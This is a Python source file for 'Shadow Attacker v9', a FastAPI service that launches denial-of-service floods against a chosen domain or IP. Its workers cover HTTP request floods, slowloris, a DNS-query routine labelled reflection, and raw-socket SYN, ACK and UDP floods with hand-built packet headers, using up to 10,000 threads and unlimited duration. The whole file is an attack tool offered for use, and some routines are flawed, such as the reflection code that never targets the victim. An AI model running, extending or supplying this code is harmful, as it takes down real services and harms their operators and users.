# ==============================================================
#  SHADOW ATTACKER v9 – LAYER 7 + LAYER 4 + RAW | MAX HUNT MODE
#  ALL 14 ATTACKS | 500k+ PPS | -1 = 10,000 THREADS | HF SPACES
# ==============================================================
import random
import socket
import threading
import time
import struct
from collections import deque
from typing import Dict, Optional, List

import uvicorn
import requests
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, Field, validator
from concurrent.futures import ThreadPoolExecutor

# ------------------- LOGGING & STATE -------------------
import logging
logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger()

app = FastAPI(title="Shadow Attacker v9 - MAX HUNT")

# Global state
attack_active = False
attack_lock = threading.Lock()
executor: Optional[ThreadPoolExecutor] = None
stop_event = threading.Event()
counters: Dict[str, int] = {}
counters_lock = threading.Lock()
total_packets = 0
log_buffer: deque[str] = deque(maxlen=500)
attack_end_time = 0.0
attack_type_name = ""

# PPS tracking
last_time = time.time()
last_total = 0

def _log(msg: str):
    ts = time.strftime("%H:%M:%S")
    log.info(f"{ts} {msg}")
    log_buffer.append(f"{ts} {msg}")

# ------------------- INIT EXECUTOR -------------------
def init_executor():
    global executor
    if executor is None:
        executor = ThreadPoolExecutor(max_workers=10000)

# ------------------- CONFIG MODELS -------------------
class AttackConfig(BaseModel):
    target: str = Field(..., description="Domain or IP")
    port: int = Field(80, ge=1, le=65535)
    duration: int = Field(300, ge=-1, le=10000)
    threads: int = Field(1000, ge=-1, le=10000)

    @validator('target')
    def validate_target(cls, v):
        if not v or len(v) > 255:
            raise ValueError("Invalid target")
        return v.strip()

class Layer7Config(AttackConfig):
    method: str = Field("get")
    @validator('method')
    def validate_method(cls, v):
        valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
        if v not in valid:
            raise ValueError(f"L7 methods: {', '.join(valid)}")
        return v

class Layer4Config(AttackConfig):
    protocol: str = Field("udp")
    payload_size: int = Field(1024, ge=0, le=65507)
    @validator('protocol')
    def validate_protocol(cls, v):
        if v not in ["udp", "tcp", "syn", "ack", "udp_pps"]:
            raise ValueError("L4: udp, tcp, syn, ack, udp_pps")
        return v

# ------------------- STATUS MODEL -------------------
class StatusResponse(BaseModel):
    running: bool
    attack_type: Optional[str]
    target: Optional[str]
    total_packets: int
    pps: float
    threads_active: int
    duration: int
    elapsed: float
    remaining: float
    logs: List[str]

# ------------------- RAW HELPERS -------------------
def checksum(data: bytes) -> int:
    s = 0
    for i in range(0, len(data), 2):
        if i + 1 < len(data):
            w = (data[i] << 8) | data[i + 1]
        else:
            w = data[i] << 8
        s += w
    while s >> 16:
        s = (s & 0xFFFF) + (s >> 16)
    return ~s & 0xFFFF

def pseudo_checksum(src: bytes, dst: bytes, proto: int, length: int) -> int:
    s = 0
    for i in range(0, 4, 2):
        s += (src[i] << 8) | src[i + 1]
        s += (dst[i] << 8) | dst[i + 1]
    s += proto
    s += length
    while s >> 16:
        s = (s & 0xFFFF) + (s >> 16)
    return s

def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, payload_len: int) -> bytes:
    total = 20 + payload_len
    ip = bytearray(20)
    ip[0] = 0x45
    ip[8] = 64
    ip[9] = proto
    struct.pack_into("!HH", ip, 2, total, random.randint(0, 0xFFFF))
    ip[12:16] = src_ip
    ip[16:20] = dst_ip
    cs = checksum(ip)
    struct.pack_into("!H", ip, 10, cs)
    return bytes(ip)

def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags):
    tcp = bytearray(20)
    struct.pack_into("!HHIIBBHHH", tcp, 0, src_p, dst_p, seq, ack, 5 << 4, flags, 65535, 0, 0)
    pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
    cs = checksum(struct.pack("!I", pseudo) + tcp)
    struct.pack_into("!H", tcp, 16, cs)
    ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
    return ip + tcp

def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
    udp_len = 8 + len(payload)
    udp = bytearray(8)
    struct.pack_into("!HHHH", udp, 0, src_p, dst_p, udp_len, 0)
    pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
    cs = checksum(struct.pack("!I", pseudo) + udp + payload)
    struct.pack_into("!H", udp, 6, cs)
    ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
    return ip + udp

# ------------------- LAYER 7 WORKERS -------------------
def http_worker(method: str, url: str):
    global total_packets
    session = requests.Session()
    headers = {
        "User-Agent": random.choice(["Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120"]),
        "Cache-Control": "no-cache",
        "Connection": "keep-alive"
    }
    while not stop_event.is_set():
        try:
            if method == "get":
                session.get(url, headers=headers, timeout=3, verify=False)
            elif method == "post":
                session.post(url, data={"x": random._urandom(128).hex()}, timeout=3)
            elif method == "head":
                session.head(url, headers=headers, timeout=3)
            elif method == "cookie":
                session.get(url, headers={**headers, "Cookie": f"s={random.randint(1,999999)}"}, timeout=3)
            elif method == "rand":
                session.request(random.choice(["GET","POST","PUT","DELETE"]), url, timeout=3)
            with counters_lock:
                counters["l7"] = counters.get("l7", 0) + 1
                total_packets += 1
        except:
            pass

def slowloris(target: str, port: int):
    global total_packets
    while not stop_event.is_set():
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((target, port))
            s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
            while not stop_event.is_set():
                s.send(b"X-a: b\r\n")
                time.sleep(8)
                with counters_lock:
                    counters["l7"] = counters.get("l7", 0) + 1
                    total_packets += 1
        except:
            pass
        finally:
            try: s.close()
            except: pass

def dns_reflect(target_ip: str):
    global total_packets
    servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"]
    payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
    while not stop_event.is_set():
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            for srv in servers:
                s.sendto(payload, (srv, 53))
                with counters_lock:
                    counters["reflect"] = counters.get("reflect", 0) + 1
                    total_packets += 1
        except:
            pass
        finally:
            try: s.close()
            except: pass

# ------------------- LAYER 4 RAW FLOODERS -------------------
def raw_syn_flood(target_ip: str, port: int):
    global total_packets
    src_ip = socket.inet_aton("0.0.0.0")
    dst_ip = socket.inet_aton(target_ip)
    while not stop_event.is_set():
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
            s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            src_p = random.randint(1024, 65535)
            pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), 0, 0x02)
            s.sendto(pkt, (target_ip, 0))
            with counters_lock:
                counters["raw"] = counters.get("raw", 0) + 1
                total_packets += 1
        except:
            pass
        finally:
            try: s.close()
            except: pass

def raw_ack_flood(target_ip: str, port: int):
    global total_packets
    src_ip = socket.inet_aton("0.0.0.0")
    dst_ip = socket.inet_aton(target_ip)
    while not stop_event.is_set():
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
            s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            src_p = random.randint(1024, 65535)
            pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10)
            s.sendto(pkt, (target_ip, 0))
            with counters_lock:
                counters["raw"] = counters.get("raw", 0) + 1
                total_packets += 1
        except:
            pass
        finally:
            try: s.close()
            except: pass

def raw_udp_flood(target_ip: str, port: int, payload_size: int):
    global total_packets
    src_ip = socket.inet_aton("0.0.0.0")
    dst_ip = socket.inet_aton(target_ip)
    payload = random._urandom(payload_size) if payload_size > 0 else b""
    while not stop_event.is_set():
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
            s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            src_p = random.randint(1024, 65535)
            pkt = build_udp_packet(src_ip, dst_ip, src_p, port, payload)
            s.sendto(pkt, (target_ip, 0))
            with counters_lock:
                counters["raw"] = counters.get("raw", 0) + 1
                total_packets += 1
        except:
            pass
        finally:
            try: s.close()
            except: pass

# ------------------- LAUNCHER -------------------
def resolve_ip(target: str) -> str:
    try:
        return socket.gethostbyname(target.split("/")[0].split(":")[0])
    except:
        raise HTTPException(400, "Cannot resolve target")

def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
    global attack_active, attack_end_time, attack_type_name
    with attack_lock:
        if attack_active:
            raise HTTPException(400, "Attack in progress")
        attack_active = True
        stop_event.clear()
        counters.clear()
        total_packets = 0
        attack_type_name = attack_type.upper()

        threads = 10000 if config.threads == -1 else config.threads
        duration = float('inf') if config.duration == -1 else config.duration
        attack_end_time = time.time() + duration if duration != float('inf') else float('inf')

        _log(f"LAUNCHED {attack_type.upper()} → {config.target}:{config.port} | {threads} threads | {config.duration}s")

    init_executor()
    worker = None
    target_ip = resolve_ip(config.target)

    # LAYER 7
    if attack_type.startswith("l7_"):
        url = f"http://{config.target}:{config.port}"
        method = kwargs.get("method", "get")
        if method == "slowloris":
            worker = lambda: slowloris(target_ip, config.port)
        elif method == "reflect":
            worker = lambda: dns_reflect(target_ip)
        else:
            worker = lambda: http_worker(method, url)

    # LAYER 4 RAW
    elif attack_type == "raw_syn": worker = lambda: raw_syn_flood(target_ip, config.port)
    elif attack_type == "raw_ack": worker = lambda: raw_ack_flood(target_ip, config.port)
    elif attack_type == "raw_udp": worker = lambda: raw_udp_flood(target_ip, config.port, kwargs.get("payload_size", 1200))
    elif attack_type == "raw_udp_pps": worker = lambda: raw_udp_flood(target_ip, config.port, 0)

    if not worker:
        raise HTTPException(400, "Invalid attack")

    for _ in range(threads):
        executor.submit(worker)

    if duration != float('inf'):
        def auto_stop():
            time.sleep(duration)
            stop_attack()
        threading.Thread(target=auto_stop, daemon=True).start()

# ------------------- ENDPOINTS -------------------
@app.post("/layer7/attack")
def l7_attack(config: Layer7Config):
    attack_key = f"l7_{config.method}"
    launch_attack(config, attack_key, method=config.method)
    return {"status": f"L7 {config.method.upper()} HUNT STARTED"}

@app.post("/layer4/attack")
def l4_attack(config: Layer4Config):
    proto_map = {
        "udp": "raw_udp",
        "syn": "raw_syn",
        "ack": "raw_ack",
        "udp_pps": "raw_udp_pps"
    }
    attack_key = proto_map[config.protocol]
    launch_attack(config, attack_key, payload_size=config.payload_size)
    return {"status": f"L4 {config.protocol.upper()} HUNT STARTED"}

@app.post("/stop")
def stop_attack():
    global attack_active
    with attack_lock:
        if not attack_active:
            return {"status": "no_attack"}
        stop_event.set()
        attack_active = False
        _log("HUNT STOPPED")
    return {"status": "stopped"}

@app.get("/status", response_model=StatusResponse)
def status():
    global last_time, last_total
    now = time.time()
    elapsed_g = now - last_time
    pps = (total_packets - last_total) / elapsed_g if elapsed_g > 0 else 0
    last_time, last_total = now, total_packets

    active_threads = sum(1 for t in threading.enumerate() if t.name != "MainThread")
    elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
    remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1

    return StatusResponse(
        running=attack_active,
        attack_type=attack_type_name,
        target=None,
        total_packets=total_packets,
        pps=round(pps, 1),
        threads_active=active_threads,
        duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0,
        elapsed=round(elapsed, 1),
        remaining=round(remaining, 1) if remaining >= 0 else -1,
        logs=list(log_buffer)
    )

@app.get("/attack/types")
def attack_types():
    return {
        "layer7": ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"],
        "layer4": ["udp", "udp_pps", "syn", "ack"],
        "max_threads": "10000 (-1 = FULL HUNT)",
        "max_duration": "10000s (-1 = unlimited)"
    }

@app.get("/")
def root():
    return {"message": "Shadow Attacker v9 - /attack/types for full arsenal"}

# ------------------- START -------------------
if __name__ == "__main__":
    init_executor()
    uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)